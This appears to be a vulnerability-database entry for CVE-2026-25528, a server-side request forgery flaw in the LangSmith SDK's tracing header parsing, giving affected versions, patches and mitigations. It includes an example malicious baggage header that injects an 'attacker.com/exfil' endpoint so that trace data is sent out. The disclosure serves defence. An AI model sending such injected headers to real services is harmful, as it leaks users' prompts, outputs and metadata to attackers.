CVE-2026-25528Medium· 5.8▾ SunlitLangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection
▾ Sunlit zone — Low / medium · no exploitation signal
impact 31.9 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 13.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
0.3%
0.3% → 0.3%
Last analysed / modified upstream
The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.
When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields.
Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker.
Attacker sends an HTTP request to a vulnerable service with a malicious baggage header:
baggage: langsmith-replicas=[{"api_url":"https://attacker.com/exfil","project_name":"x"}]
The service parses the header via RunTree.from_headers(), storing the attacker's URL
When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to https://attacker.com/exfil
Applications are vulnerable if they:
TracingMiddleware to automatically propagate tracing contextRunTree.from_headers() / RunTree.fromHeaders() with untrusted HTTP headersUpdate to the patched versions:
pip install langsmith>=0.6.3npm install langsmith@>=0.4.6The fix filters incoming replica configurations to an allowlist of safe fields, removing api_url, api_key, and other credential fields.
If unable to upgrade immediately:
baggage header before passing to from_headers()TracingMiddleware with untrusted trafficlangsmith >= 0.4.10, < 0.6.3langsmith >= 0.3.41, < 0.4.6Upgrade to a patched release:
langsmith 0.6.3langsmith 0.4.6Connected by shared product, vendor, weakness, or advisory.
CVE-2026-45134High· 7.1LangSmith SDK: Public prompt pull deserializes untrusted manifests without trust boundary warning
CVE-2026-59152High· 7.7LangSmith SDK TracingMiddleware: Arbitrary server-side file read
CVE-2026-41182Medium· 5.3LangSmith SDK: Streaming token events bypass output redaction
GHSA-f4xh-w4cj-qxq8High· 7.7LangSmith SDK TracingMiddleware: Arbitrary server-side file read
CVE-2026-40190Medium· 5.6LangSmith Client SDKs provide SDK's for interacting with the LangSmith platform